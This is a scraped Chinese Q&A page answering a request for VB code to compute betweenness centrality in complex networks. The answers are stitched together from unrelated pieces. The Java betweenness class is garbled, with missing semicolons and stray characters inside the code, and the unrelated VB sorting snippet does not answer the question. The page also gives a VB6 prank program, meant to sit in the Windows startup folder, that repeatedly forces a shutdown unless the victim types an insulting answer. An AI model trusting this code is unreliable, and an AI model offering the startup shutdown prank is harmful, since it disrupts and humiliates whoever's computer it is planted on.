复杂网络中的介数的编程代码是什么,最好是vb语言的

复杂网络中的介数的编程代码是什么,最好是vb语言的,第1张

/**

 * 用来计算介数

 * 要计算所有的最短路径,用DIJ计算最短路径的时候我们可以发现一个规律:最后生成的结果是最小生成树,而一棵树是可以用一个一维数组表示的。

 * 所以本代码在计算介数的时候具有和DIJ相同的时间复杂度。

 */

public class Betweeness {

    private double[][]     dis

    private int            N

    Betweeness(double[][] dis)

    {

        this.dis = dis

        this.N = dis.length

    }

    /**

     * 根据返回的树来计算经过每个节点的最短路径的数目

     * @return

     */

    public double[] getBetweeness()

    {

        double[] b = new double[N]

        for(int start = 0 start < N start++)

        {

            int[] path = getPath(start)    // 保存树的结构

            int[] num = new int[N]            // 一个节点的路径的数目

            int[] used = new int[N]        // 0:初始-->1:有子节点  0--->2:把没有子节点的处理粗拿棚

            

            // 每次处理的时候找到没有子节点的点,然后将它的个数加到它的父节点中

            for(int i = 0 i < N i++)

            {

                for(int j = 0 j < N j++)

                {

                    if(path[j] != -1 && used[path[j]] == 0)

                    {

                        used[path[j]] = 1

                    }

                }

                for(int j = 0 j < N j++)

                {

                    if(used[j] == 0 && path[j] >= 0)

                    {

                        num[path[j]] += 1 + num[j]

                        used[j] = 2

                    }

                }

                for(int j = 0 j < N j++)

                {

                    if(used[j] == 1)

                 岩则   {

                        used[j] = 0

                    }

                }

            }

            for(int i = 0 i < N i++)

            {

                b[i] += num[i]

            }

        }

        double sum = N*N - N

        for(int i = 0 i < N i++)

        {

            b[i] /= sum

        }        

        return b

    }

    /**

     * 计算从start出发到各个节点的最短路敏物径,返回这棵最小生成树

     * @param start

     * @return

     */

    public int[] getPath(int start)

    {

        int[] path = new int[N]

        boolean[] used = new boolean[N]

        double[] minDis = new double[N]

        for(int i = 0 i < N i++)

        {

            path[i] = -1

            minDis[i] = -1.0

        }

        used[start] = true

        minDis[start] = 0.0

        

        for(int i = 1 i < N i++)

        {

            for(int j = 0 j < N j++)

            {

                if(used[j] == true || dis[start][j] < 0){

                    continue

                }

                if(dis[start][j] >= 0.0 && (minDis[j] < 0.0 || minDis[j] > minDis[start] + dis[start][j]))

                {

                    path[j] = start

                    minDis[j] = minDis[start] + dis[start][j]

                }

            }

            start = -1

            for(int j = 0 j < N j++)

            {

                if(minDis[j] < 0.0 || used[j] == true)

                {

                    continue

                }

                if(start == -1 || minDis[start] > minDis[j])

                {

                    start = j

                    used[start] = true

                }

            }

            if(start == -1)

            {

                break

            }

        }

        return path

    }

    /////////////////////////////////////////////////////////////////////

    public static void main(String[] main){

        double[][] dis = {{0, 1, 5, 2},

                          {1, 0, 4, 6},

                          {5, 4, 0, 3},

                          {2, 6, 3, 0}}

        

        

        double[] b = new Betweeness(dis).getBetweeness()

        for(int i = 0 i < b.length i++)

        {

            System.out.println(b[i])

        }

    }

}

'添加一个TextBox 设置其慎搭MultiLine=True 示例代码如山老下:

Private Sub Form_Click()

Dim a(1 To 100) As Integer

Randomize Timer

Print "随逗孝升机产生的100个数据是:"

For i = 1 To 100

a(i) = Int(Rnd * 90 + 10)

Print a(i)" "

If i Mod 10 = 0 Then Print

Next i

For i = 1 To 99

For j = i + 1 To 100

If a(i) >a(j) Then

c = a(i)

a(i) = a(j)

a(j) = c

End If

Next j

Next i

For i = 1 To 100

If a(i) >= 50 Then

Text1.Text = Text1.Text &a(i) &" "

b = b + 1

If b Mod 10 = 0 Then Text1.Text = Text1.Text &vbCrLf

End If

Next i

End Sub

把下面的程序做成.exe。然后放在启动里。但首先要保证是XP系统,并且系统里有shut down命令。程序在visual basic6.0测试通过

Private Sub Form_Load()Dim x As StringDoShell ("c:\windows\system32\shutdown.exe -s -t 60")x = InputBox("你州森是不是弱智", "请输入", , 1000, 1000)If x = "是" ThenShell ("c:\windows\system32\shutdown.exe -a")MsgBox ("早这样说不就好了")EndEnd If

Loop

End Sub

这个程序挺简单的,就不上图了。里庆拦面做了一下改动。如果按楼主的意思,“我”,册差亩显示出来以后很别扭,如果你想改,把inputbox("")里的改成你想要的。在x=""里改成你想要对方回答的答案即可。


欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/yw/12534686.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-05-26
下一篇 2023-05-26

发表评论

登录后才能评论

评论列表(0条)

保存